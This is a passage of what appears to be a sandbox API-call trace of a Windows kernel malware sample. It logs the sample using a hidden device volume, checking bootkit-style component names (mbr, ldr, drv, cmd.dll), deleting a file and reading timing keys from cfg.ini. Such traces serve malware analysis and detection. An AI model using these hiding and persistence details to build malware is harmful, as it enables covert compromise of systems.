_Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.013] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.013] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.013] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.013] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.013] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.013] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.013] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.013] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.013] KeLeaveCriticalRegion () [0124.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.013] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.013] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.013] KeEnterCriticalRegion () [0124.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.013] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.013] IdePortDispatch () returned 0x103 [0124.014] KeWaitForMutexObject () returned 0x0 [0124.014] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.014] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.014] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.014] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.014] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.014] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.014] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.014] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.014] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.014] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.014] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.014] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.014] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.014] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.015] KeLeaveCriticalRegion () [0124.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.015] ReleaseMutex (hMutex=0x100) returned 1 [0124.015] Sleep (dwMilliseconds=0x2bf20) [0124.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d1e0b10, dwHighDateTime=0x1d24fa4)) [0124.023] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.023] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.023] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.023] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.023] KeEnterCriticalRegion () [0124.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.023] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.023] IdePortDispatch () returned 0x103 [0124.023] KeWaitForMutexObject () returned 0x0 [0124.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.023] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.023] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.023] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.023] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.023] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee820 [0124.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] KeLeaveCriticalRegion () [0124.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.024] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.024] KeEnterCriticalRegion () [0124.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] KeLeaveCriticalRegion () [0124.024] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.024] KeEnterCriticalRegion () [0124.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.024] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.024] IdePortDispatch () returned 0x103 [0124.024] KeWaitForMutexObject () returned 0x0 [0124.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] KeLeaveCriticalRegion () [0124.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.024] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.024] KeEnterCriticalRegion () [0124.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cb000 [0124.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.025] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.025] IdePortDispatch () returned 0x103 [0124.025] KeWaitForMutexObject () returned 0x0 [0124.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.025] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.025] IdePortDispatch () returned 0x103 [0124.025] KeWaitForMutexObject () returned 0x0 [0124.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.026] KeLeaveCriticalRegion () [0124.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.026] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.026] KeEnterCriticalRegion () [0124.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.026] KeLeaveCriticalRegion () [0124.026] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.027] KeEnterCriticalRegion () [0124.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.027] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.027] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befcc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.027] KeLeaveCriticalRegion () [0124.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.027] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.027] KeEnterCriticalRegion () [0124.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.027] ExFreePoolWithTag (P=0xfffffa8003bee820, Tag=0x0) [0124.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.027] KeLeaveCriticalRegion () [0124.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.027] ReleaseMutex (hMutex=0xf0) returned 1 [0124.027] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.027] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.027] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.027] KeEnterCriticalRegion () [0124.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.027] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.027] IdePortDispatch () returned 0x103 [0124.027] KeWaitForMutexObject () returned 0x0 [0124.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.028] KeLeaveCriticalRegion () [0124.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.028] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.028] KeEnterCriticalRegion () [0124.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.028] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.028] KeLeaveCriticalRegion () [0124.028] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.028] KeEnterCriticalRegion () [0124.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.028] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.028] IdePortDispatch () returned 0x103 [0124.028] KeWaitForMutexObject () returned 0x0 [0124.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.028] KeLeaveCriticalRegion () [0124.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.029] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.029] KeEnterCriticalRegion () [0124.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cc000 [0124.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.029] IdePortDispatch () returned 0x103 [0124.029] KeWaitForMutexObject () returned 0x0 [0124.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.029] IdePortDispatch () returned 0x103 [0124.029] KeWaitForMutexObject () returned 0x0 [0124.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.029] KeLeaveCriticalRegion () [0124.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.030] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.030] KeEnterCriticalRegion () [0124.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] KeLeaveCriticalRegion () [0124.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.030] KeEnterCriticalRegion () [0124.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] KeLeaveCriticalRegion () [0124.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.030] KeEnterCriticalRegion () [0124.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.030] KeLeaveCriticalRegion () [0124.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.030] ReleaseMutex (hMutex=0xf0) returned 1 [0124.031] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.031] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.031] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.031] KeEnterCriticalRegion () [0124.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.031] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.031] IdePortDispatch () returned 0x103 [0124.031] KeWaitForMutexObject () returned 0x0 [0124.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6460 [0124.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.031] KeLeaveCriticalRegion () [0124.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.031] KeEnterCriticalRegion () [0124.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.031] KeLeaveCriticalRegion () [0124.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.031] KeEnterCriticalRegion () [0124.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.032] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.032] IdePortDispatch () returned 0x103 [0124.032] KeWaitForMutexObject () returned 0x0 [0124.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.032] KeLeaveCriticalRegion () [0124.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.032] KeEnterCriticalRegion () [0124.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cd000 [0124.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.032] IdePortDispatch () returned 0x103 [0124.032] KeWaitForMutexObject () returned 0x0 [0124.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.033] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.033] IdePortDispatch () returned 0x103 [0124.033] KeWaitForMutexObject () returned 0x0 [0124.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.033] KeLeaveCriticalRegion () [0124.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.033] KeEnterCriticalRegion () [0124.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.034] KeLeaveCriticalRegion () [0124.034] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.034] KeEnterCriticalRegion () [0124.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 